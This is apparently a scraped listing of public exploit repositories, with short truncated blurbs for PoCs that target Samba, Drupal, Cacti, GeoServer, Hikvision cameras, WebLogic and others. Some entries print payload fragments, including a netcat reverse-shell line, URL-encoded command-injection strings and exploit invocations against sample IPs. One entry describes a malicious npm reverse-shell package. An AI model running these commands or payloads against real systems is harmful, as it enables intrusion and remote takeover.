vulnx

VulnX Vulnx 🕷️ is An Intelligent Bot Auto Shell Injector that detects vulnerabilities in multiple types of Cms...

CVE-2021-36260

海康威视 CVE-2021-36260 RCE 漏洞 漏洞描述 攻击者利用该漏洞可以用无限制的 root shell 来完全控制设备，即使设备的所有者受限于有限的受保护 shell（psh）。除了入侵 IP 摄像头外，还可以访问和攻击内部网络。 FOFA root@kitploit: header="Hikvision" app="HIKVISION-视频监控" 使用方法 root@kitploit: python ./CVE-2021-36260.py -u http://192.168.1.1:8080 --check python ./CVE-2021-36260.py -u...

CVE-2018-7600-Drupal-POC-EXP

+----------------------------------------------------------------------+ DES: by zhzyker as https://github.com/zhzyker/exphub + root@kitploit: Drupal Drupalgeddon 2 Remote Code Execution CVE-2018-7600 + +----------------------------------------------------------------------+ USE: python3 + EXP:...

CVE-2007-2447

CVE-2007-2447 PoC: Samba "usermap script" remote command-execution historical CVE. This repository contains a small proof-of-concept script for research and educational review. The primary script is usermapscriptCommandExecution.py. Reference writeup:...

CVE-2026-95521

A command injection flaw exists in rpm when installing or rebuilding a source RPM . If the source or spec file basenames contain a %() macro construct , rpm executes attacker-controlled shell commands via popen() during the relocation of the source file list. This vulnerability allows for arbitra...

Malicious code in simple-date-formatter-new-16 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 5e57e9eff2fae987a2a23e3107d64c818e020b03380e31d6a3ae9cf8d4eb14ec package.json declares a postinstall lifecycle script that pipes a string-reversed shell one-liner through rev | bash, decoding to a bash reverse shel...

CVE-2025-49844-RediShell-AI-made-Revshell

CVE-2025-49844 RediShell PoC de Revshell hecho por IA Completación no probada del PoC de Redishell hecho por IA. PoC original: https://github.com/raminfp/redisexploit/blob/main/exploitpoc.py Pieza coreana: https://github.com/dwisiswant0/CVE-2025-49844/blob/master/CVE-2025-49844.lua ¿Progreso? Lue...

CVE-2023-45158

CVE-2023-45158 Pasos 1. Ejecuta el servidor web root@kitploit: cd web2py python3 web2py.py 2. Inyecta tu comando usando la URL http://:8000/hack?msg=%27%3B%3B%27. Reemplaza y con tus valores. Ejemplos 1. Crea un archivo en el servidor http://:8000/hack?msg=%27%3Btouch%20hack%3B%27 2. Shell invers...

CVE-2020-5752-Druva-inSync-Windows-Client-6.6.3---Local-Privilege-Escalation-PowerShell-

CVE-2020-5752: Druva-inSync-Windows-Client-6.6.3---Local-Privilege-Escalation-PowerShell- Cliente de Windows Druva inSync 6.6.3 - Escalada de privilegios local PowerShell Modificado para obtener una Reverse Shell con privilegios de sistema...

CVE-2022-46169

CVE 2022-46169 Este script explota una vulnerabilidad de inyección de comandos no autenticada en versiones de Cacti hasta la 1.2.22 para lograr ejecución remota de código no autenticada y obtener una shell inversa...

CVE-2024-36401-PoC

CVE-2024-36401-PoC Este repositorio contiene un script de Prueba de Concepto PoC para CVE-2024-36401, una vulnerabilidad que puede explotarse para obtener ejecución remota de código en el servidor objetivo. Características Asignar un listener de reverse shell usando Perl. Codificar comandos usand...

CVE-2007-2447

CVE-2007-2447 - Samba 3.0.20 &1|nc 10.0.0.1 4242 /tmp/f Uso root@kitploit: Explotar objetivo 10.129.232.46 en el puerto 445, enviar reverse shell a 10.10.14.82 en el puerto 443 python3 CVE-2007-2447.py --rhost 10.129.232.46 --lhost 10.10.14.82 Con rport y lport personalizados python3...

put2win

put2win Script to automate PUT HTTP method exploitation to get shell. Installation root@kitploit: git clone https://github.com/sysdevploit/put2win cd put2win chmod +x put2win.sh Usage root@kitploit: Script to automate PUT HTTP method exploitation to get shell. Options: -t TARGET Target URL/IP e.g...

CVE-2024-27348

🔥 Kit de Explotación CVE-2024-27348 🎓 Proyecto Académico 📚 Curso: FC411 - Diseño de Redes Seguras 👨‍🏫 Instructor: Dr. Maira Sultan 🏫 Universidad: University of Prince Mugrin 📅 Año: 2025 ⚡ Un kit completo para explotar CVE-2024-27348 Apache Huge-Graph-Server desarrollado como parte de los requisitos...

CVE-2019-15813

CVE-2019-15813 Este contenedor fue creado para explicar y demostrar cómo funciona CVE-2019-15813 Sentrifugo Sentrifugo V3.2 Sentrifugo es un Sistema de Gestión de Recursos Humanos Cómo instalar docker-compose up Credenciales por defecto para probar ----Super Administrador---- Nombre de usuario :...

cve-2022-22947-godzilla-memshell

CVE-2022-22947 godzilla-memshell CVE-2022-22947 注入哥斯拉内存马...

CVE-2018-9276

CVE-2018-9276 PRTG 18.2.39 Inyección de Comandos Autenticada Reverse Shell https://nvd.nist.gov/vuln/detail/CVE-2018-9276 Versión mejorada de un exploit escrito por https://github.com/M4LV0. Usé los datos POST de su script pero lo hice más fiable porque no tuve mucho éxito con él. La entrega del...

bash-shellshock

Este repositorio no tiene un README...

CVE-2019-2729

CVE-2019-2729 Código de exploit para CVE-2019-2729 Oracle Weblogic ejecutándose en Windows. Puede crear una callback a un listener de CobaltStrike o un handler de Metasploit con el payload windows/meterpreter/reversetcp También hay un exploit no-beacon que simplemente ejecuta comandos en el host...

cve-2023-51467

Go-Exploit para CVE-2023-51467 Este repositorio contiene un go-exploit para Apache OFBiz CVE-2023-51467. La implementación incluye verificación del objetivo, un escáner de versiones y una reverse shell Nashorn en memoria como payload requiere que el Java en uso admita Nashorn. El proceso de...